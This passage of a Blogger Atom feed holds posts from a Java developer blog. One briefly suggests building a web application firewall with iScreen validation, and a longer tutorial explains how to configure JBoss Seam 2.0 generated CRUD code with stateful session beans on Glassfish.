xmlns:media="http://search.yahoo.com/mrss/" url="http://lh4.ggpht.com/gmkumar2005/SM4HyN8VOCI/AAAAAAAAACU/kK7aRJfIvnM/s72-c/%5BUNSET%5D.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2008/09/posting-from-scribefire_1341.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUAEQnY4eSp7ImA9WxdaEk8.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-5254038321695312647</id><published>2008-08-20T14:38:00.002+05:30</published><updated>2008-08-20T14:45:03.831+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-20T14:45:03.831+05:30</app:edited><title>WebApplicationFirewall using iScreen</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4ZVHX3dBlvT4RaJBKdd1AyV12fs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4ZVHX3dBlvT4RaJBKdd1AyV12fs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4ZVHX3dBlvT4RaJBKdd1AyV12fs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4ZVHX3dBlvT4RaJBKdd1AyV12fs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Simplest solution for Application security is installing a web application firewall (WAF). Major function of WAF is to validate data. iScreen is one of the most popular validation frame work which can be used to build a firewall.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Most important feature of iScreen validation frame work is support for OGNL and MEVL. Given the full power of validations we can write a genric servlet filter which will act as a firewall. Let us look at various issues related to validations and WAF&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-5254038321695312647?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/m3dDBOzVjpc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/5254038321695312647/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=5254038321695312647" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/5254038321695312647?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/5254038321695312647?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/m3dDBOzVjpc/webapplicationfirewall-using-iscreen.html" title="WebApplicationFirewall using iScreen" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2008/08/webapplicationfirewall-using-iscreen.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkEMRH0-fSp7ImA9WxZaFUg.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-8779940075658642914</id><published>2008-04-30T16:51:00.002+05:30</published><updated>2008-04-30T16:54:45.355+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-04-30T16:54:45.355+05:30</app:edited><title>Setup of Seam 2.0 Applications for Tomcat 6.0</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/oYY3AZmoQp63OGkPGolyhYttJcQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oYY3AZmoQp63OGkPGolyhYttJcQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/oYY3AZmoQp63OGkPGolyhYttJcQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oYY3AZmoQp63OGkPGolyhYttJcQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;A very good article by Edem Morny’s&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;a href="http://edemmorny.wordpress.com/2008/02/02/setup-of-seam-20-applications-for-tomcat-60/"&gt;Setup of Seam 2.0 Applications for Tomcat 6.0&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-8779940075658642914?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/xAJn6SpviGk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/8779940075658642914/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=8779940075658642914" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/8779940075658642914?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/8779940075658642914?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/xAJn6SpviGk/setup-of-seam-20-applications-for.html" title="Setup of Seam 2.0 Applications for Tomcat 6.0" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2008/04/setup-of-seam-20-applications-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4NR3g7fyp7ImA9WB9bF0k.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-4865542130762045297</id><published>2007-12-27T14:33:00.000+05:30</published><updated>2007-12-27T15:03:16.607+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-12-27T15:03:16.607+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Seam" /><title>Kooking Seam-gen with Glassfish</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/j3PFi-_y8CYn67fSZOZOJar6dCM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/j3PFi-_y8CYn67fSZOZOJar6dCM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/j3PFi-_y8CYn67fSZOZOJar6dCM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/j3PFi-_y8CYn67fSZOZOJar6dCM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Seam is an application framework for Enterprise Java. It simplifies enterprise application development. However configuring seam to work with appservers other that Jboss is a complex process. Following are the summary of issues I faced when working with the code generated by Seam-Gen&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Seam-gen ejb version does not really generate EJB code&lt;/li&gt;&lt;li&gt;JNDI naming conventions for GLASSFISH does not follow that of Jboss. Each ejb has to be mentioned at-lease twice in the web.xml&lt;/li&gt;&lt;li&gt;Seam proposes that the injection of Entitymanger should be left to Seam. One of the argument is that seam has better transaction management which is compatible  with Seam conversations.&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;This requires that we enable Seam Managed Transactions&lt;/li&gt;&lt;li&gt;Consequence is EjbSynchronizations provided by Seam has to be deployed&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Seam managed transactions require Manual Flush mode to be enabled. Incidentally Hibernate is the only JPA provider which supports manual flush&lt;/li&gt;&lt;/ol&gt;Conclusion :&lt;br /&gt;Seam provides power full features for Enterprise development. There are few startup issues while working in non-jboss servers. Give the benefits of seam the limitations are negligible.&lt;br /&gt;Note : For detailed discussion on how to address the above issues refer to my previous blog &lt;a href="http://jkook.blogspot.com/2007/12/kooking-seam-with-glassfish.html"&gt;Kooking Seam with Glassfish&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-4865542130762045297?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/p0yqV1Z2hZI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/4865542130762045297/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=4865542130762045297" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/4865542130762045297?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/4865542130762045297?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/p0yqV1Z2hZI/kooking-seam-gen-with-glassfish.html" title="Kooking Seam-gen with Glassfish" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2007/12/kooking-seam-gen-with-glassfish.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEUNQ38zfCp7ImA9WxZXF00.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-6098353332295346286</id><published>2007-12-27T13:04:00.001+05:30</published><updated>2008-03-05T14:08:12.184+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-03-05T14:08:12.184+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Seam" /><title>Kooking Seam with Glassfish</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/L58HiKtucy7PZM8jhnFMHAjigKw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L58HiKtucy7PZM8jhnFMHAjigKw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/L58HiKtucy7PZM8jhnFMHAjigKw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L58HiKtucy7PZM8jhnFMHAjigKw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;Seam is an application framework for Enterprise Java. The documentation claims that Seam works in any Java EE application server. Lets us investigate how easy /tough it is to kook an enterprise application on Glassfish .  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;b&gt;The recipe :&lt;/b&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Presentation Layer : JSF, Faceletes,Jboss EL,Xhtml&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Business Layer : StateFull session beans&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Persistence layer : JPA (&lt;strike&gt;Toplink&lt;/strike&gt;,Hibernate)&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Frame-Work :Jboss-Seam&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Serving ON : Glassfish (V2)&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;b&gt;Ingredients :&lt;/b&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Seam FrameWork : &lt;a href="http://labs.jboss.com/jbossseam/download/index.html"&gt;jboss-seam-2.0.0.GA&lt;/a&gt;&lt;a href="http://labs.jboss.com/jbossseam/download/index.html"&gt;( &lt;/a&gt;Includes- Seam,Seam Gen,Rich Faces,Hibernate,Facelets)&lt;/p&gt; &lt;p align="left"&gt; Netbeans IDE: &lt;a href="http://www.netbeans.org/"&gt;netbeans-6.0-linux(&lt;/a&gt;Includes- GlassFish V2,Toplink,Sun Jdk)&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;The primary objective is to write a quick solution which can perform basic CRUD operations. It is assumed that you have the database tables already created. Shortest path to get there is use Seam-Gen. Seam-Gen can generate code for web-application as well as enterprise application. The generated code works out-of the box provided you use Jboss Application server. We will have to add few spices and salt to make it tasty on GlassFish. We will walkthrough all the tricks needed to make it work with GlassFish.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Secondary objective is to be able to work in my own kitchen. In my kitchen the stove is made of Netbeans.  &lt;/p&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;Setup IDE -- Prepare  you IDE&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;Entities Code  Generation -- There are two code generators available&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;Jsf Code Generation –  Views&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;Setup your project --  Netbeans in action&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;JNDI naming for EJB --  Glassfish Issue&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;a name="DDE_LINK5"&gt;&lt;/a&gt;  EjbSynchronizations -- GlassFish issue - JPA issue&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Setup IDE&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Setup a  new database connection to Mysql. (Tip Use Services window)&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Copy Mysql JDBC drive to   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Go to  Tools|Libraries create a new library seam. Add following jars&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;boss-seam-2.0.0.GA/lib/activation.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/ant-antlr.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/antlr-runtime.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/antlr.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/asm-attrs.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/asm.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/cglib-nodep.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/cglib.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/commons-beanutils.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/commons-collections.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/commons-digester.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/commons-lang.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/commons-logging.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/core.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/dbunit.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/dom4j.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/drools-compiler.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/drools-core.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/groovy-all.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/gwt-servlet.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/hibernate-annotations.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/hibernate-commons-annotations.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/hibernate-search.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/hibernate-validator.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/itext.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/janino.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/javassist.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-el.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam-debug.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam-gen.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam-ioc.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam-mail.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam-pdf.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam-remoting.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam-ui.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-seam.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jbpm-jpdl.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jcaptcha-all.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jcommon.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jfreechart.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jgroups.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/lucene-core.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/mvel14.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/quartz.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/richfaces-api.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/richfaces-impl.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/richfaces-ui.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jsf-facelets.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/hibernate-entitymanager.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/hibernate.jar &lt;br /&gt;jboss-seam-2.0.0.GA/lib/jboss-common-core.jar &lt;br /&gt;jboss-seam-2.0.0.GA/examples/jpa/lib/mc/concurrent.jar   &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt; &lt;b&gt;Entities Code Generation &lt;/b&gt;&lt;br /&gt;There are two ways to generate entity classes. a) Netbeans b) Seam-Gen. Both of them have limitations. What it means is you will end up making few changes in the generated code any way you choose.&lt;br /&gt;&lt;b&gt;Netbeans generator:&lt;/b&gt;&lt;br /&gt;Bonus : equals(Object obj),toString(), hashCode(), @NamedQueries&lt;br /&gt;Limitations : Hibernate Validations, ID generation strategy&lt;br /&gt;&lt;b&gt;Seam-gen :&lt;/b&gt;&lt;br /&gt;Bonus: Annotations for Hibernate Validations,ID Generating Strategy&lt;br /&gt;Limitations : Faulty @Temporal specially for TIMESTAMP, NamedQueries, equals(Object obj),toString(), hashCode()&lt;br /&gt;&lt;br /&gt;I choose Seam-gen generated code for entities&lt;br /&gt;&lt;b&gt;MYSQL BUG :&lt;/b&gt; When you are using decimal data type in mysql hibernate refuses to start. To fix this problem follow this &lt;a href="http://opensource.atlassian.com/projects/hibernate/browse/HHH-2261"&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Jsf Code Generation -- Views: &lt;/b&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt; Seam-gen can generate jsf views for all the tables in the database. There is a nice seam plugin for Netbeans. I don't recommend to use it. It does not work with seam2.0. I have generated views and entities using the ant script provided in the seam package.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;It generates most of the code needed for basic CRUD operations. Following artifacts are generated&lt;br /&gt;1) Entity beans&lt;br /&gt;2) Action Classes (Extends helper classes form seam more on this below)&lt;br /&gt;3) Xhtml pages - Each entity has&lt;br /&gt;&lt;br /&gt;Seam-gen can generate code with ejb option and with-out ejb options. If you choose to build a web applications select non-ejb options. You can open the generated project in Netbeans and run it as is.( TIP: In Netbeans use new web project from existing source)&lt;br /&gt;&lt;b&gt;The issues are with ejb version&lt;/b&gt;. One would expect the generated action classes are EJBS. BUT they are classes still live in web-application. So we have to migrate these actions piece by piece to state-full session beans.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5) Setup your project&lt;/b&gt;&lt;p&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Create a web application  {generated} : This is a reference project. Use the project generated  by seam-gen&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Create an enterprise  application{seamcrud}. Netbeans creates two subprojects  {seamcrud}-ejb and {seamcrud}-war&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Add seam library to   {SeamCrud-ejb} project.&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Create entities from database.   This helps you setup the persistence related artifacts. (TIP :   Netbeans verifies that you have chooses right app server and   database etc..)&lt;/p&gt;  &lt;/li&gt;&lt;/ul&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Remove all the entities from  {SeamCrud-ejb} Copy entities from {generated} (TIP : Netbeans has  lovely refactoring features)   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Copy all configuration files and  xhtml , xml file from   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Deploy the {&lt;/b&gt;SeamCrud} application and ensure that you  are able to execute the default index.jsp.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt;&lt;b&gt;FUN STARTS&lt;/b&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;The {seamcrud} application contains entities and views. But it doesn't yet have seam-actions. Seam-gen generates action which are good enough for a web application. Here we shall write actions using state-full session beans.&lt;/p&gt; &lt;p&gt;Options One : Create new set of SFSB actions . You will have to write new views&lt;/p&gt; &lt;p&gt;Option Two : Modify generated actions. You will have to extend few of the seam classes. (TIP: Purists may want to avoid this. Remember that our prime objective is the manage CRUD operations. I feel the if CRUD can be auto-generated we can live with few limitations. and focus on business logic ,work flow and rules for the application. Using the above approach one can develop CRUD application in no time)&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;We have to write Four new artifacts for each entity.&lt;/p&gt; &lt;p&gt;1) {entity}List extends org.jboss.seam.framework.EntityQuery (TIP: Copy this class from {generated} )&lt;/p&gt; &lt;p&gt;&lt;a name="DDE_LINK"&gt;&lt;/a&gt;2) {entity}Home extends org.jboss.seam.framework.EntityHome (TIP: Copy this class from {generated} )&lt;/p&gt; &lt;p&gt;3) {entity}ListLocal - Local interface for SFSB(TIP: There is no point in using remote interfaces. Seam is not yet certified to handle remote ejbs)&lt;/p&gt; &lt;p&gt;4) {entity}HomeLocal - Local interface for SFSB&lt;/p&gt; &lt;p&gt;5) Components.xml (2) one for SeamCrud-ejb and one for SeamCrud-war&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Sample {entity}List class&lt;/p&gt; &lt;p&gt;&lt;a name="DDE_LINK1"&gt;&lt;/a&gt;&lt;b&gt;1) &lt;/b&gt;@Name("currencyList")&lt;br /&gt;&lt;b&gt;2)&lt;/b&gt; @PersistenceUnit(name="JPayroll-ejbPU", unitName="JPayroll-ejbPU")&lt;br /&gt;&lt;b&gt;3)&lt;/b&gt; @Stateful&lt;br /&gt;public class CurrencyList extends EntityQuery implements CurrencyListLocal{&lt;br /&gt;&lt;br /&gt;private static final String[] RESTRICTIONS = {&lt;br /&gt;"lower(currency.name) like concat(lower(#{currencyList.currency.name}),'%')",&lt;br /&gt;"lower(currency.isoCode) like concat(lower(#{currencyList.currency.isoCode}),'%')",};&lt;br /&gt;&lt;br /&gt;private Currency currency = new Currency();&lt;br /&gt;&lt;b&gt;4) &lt;/b&gt;@In EntityManager em;&lt;br /&gt;@Override&lt;br /&gt;public String getEjbql() {&lt;br /&gt;return "select currency from Currency currency";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;@Override&lt;br /&gt;public Integer getMaxResults() {&lt;br /&gt;return 25;&lt;br /&gt;}&lt;br /&gt;public Currency getCurrency() {&lt;br /&gt;return currency;&lt;br /&gt;}&lt;br /&gt;@Override&lt;/p&gt; &lt;p&gt;public List&lt;/p&gt; &lt;p&gt;return Arrays.asList(RESTRICTIONS);&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;&lt;b&gt;5) &lt;/b&gt;@Remove @Destroy&lt;/p&gt; &lt;p&gt;public void destroy(){}&lt;/p&gt; &lt;p&gt;public EntityManager getEntityManager() {&lt;/p&gt; &lt;p&gt;return em;&lt;/p&gt; &lt;p&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;1) &lt;/b&gt;Every seam components should have a name. Here it is 'currencyList'. In web application seam registers this component automatically. Its tricky in ejb. EJBs are looked up via JNDI. So we have to tell seam what will be the jndi url for this SFSB. Add following line in the components.xml&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&amp;lt;ejb-local-ref&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;        &lt;span style="font-size:78%;"&gt;&amp;lt;ejb-ref-name&amp;gt;CurrencyList&amp;lt;/ejb-ref-name&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;        &lt;span style="font-size:78%;"&gt;&amp;lt;ejb-ref-type&amp;gt;Session&amp;lt;/ejb-ref-type&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&amp;lt;local&amp;gt;com.blogspot.jkook.jpayroll.beans.CurrencyListLocal&amp;lt;/local&amp;gt;&lt;br /&gt;&amp;lt;ejb-link&amp;gt;JPayroll-ejb.jar#CurrencyList&amp;lt;/ejb-link&amp;gt;&lt;br /&gt;&amp;lt;/ejb-local-ref&amp;gt;&lt;br /&gt;&amp;lt;ejb-local-ref&amp;gt;&lt;br /&gt;&amp;lt;ejb-ref-name&amp;gt;currencyList&amp;lt;/ejb-ref-name&amp;gt;&lt;br /&gt;&amp;lt;ejb-ref-type&amp;gt;Session&amp;lt;/ejb-ref-type&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&amp;lt;local&amp;gt;com.blogspot.jkook.jpayroll.beans.CurrencyListLocal&amp;lt;/local&amp;gt;&lt;br /&gt;&amp;lt;ejb-link&amp;gt;JPayroll-ejb.jar#CurrencyList&amp;lt;/ejb-link&amp;gt;&lt;br /&gt;&amp;lt;/ejb-local-ref&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;(TIP: If the seam name and ejb name are different you will need two entries in web.xml)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Seam still cannot access your ejbs &lt;/b&gt;.. The trick is to add an empty seam.properties file to your ejb.jar. It has to be under “Configuration Files” in the {seamcrud-ejb} project. On server startup seam locates all the seam components and registers their names. However it does not know which jars to look for. Hence it requires seam.properties in the jar file where the seam components exists.&lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;2) As mentioned above Seam expects all ejb resources be available via JNDI lookup. This line publishes the EntitiyManager as a JNDI resource. Seam will use this for managing the transactions. (TIP: Seam managed transactions cut through the seam conversations. Which is not possible with default transactions management provided by the JPA provider)&lt;/p&gt; &lt;p&gt;3) Indicates that this class is StateFull Session Bean&lt;/p&gt; &lt;p&gt;&lt;a name="DDE_LINK2"&gt;&lt;/a&gt;4) @In EntityManager em; We are going to use seam manged persistence and seam managed transactions. Injecting the EntityManager is now handled by Seam. It requires corresponding entry in components.xml in the ejb project.  &lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;&amp;lt;persistence:managed-persistence-context&lt;br /&gt;name="em" auto-create="true"&lt;br /&gt;persistence-unit-jndi-name="java:comp/env/JPayroll-ejbPU"/&amp;gt;&lt;br 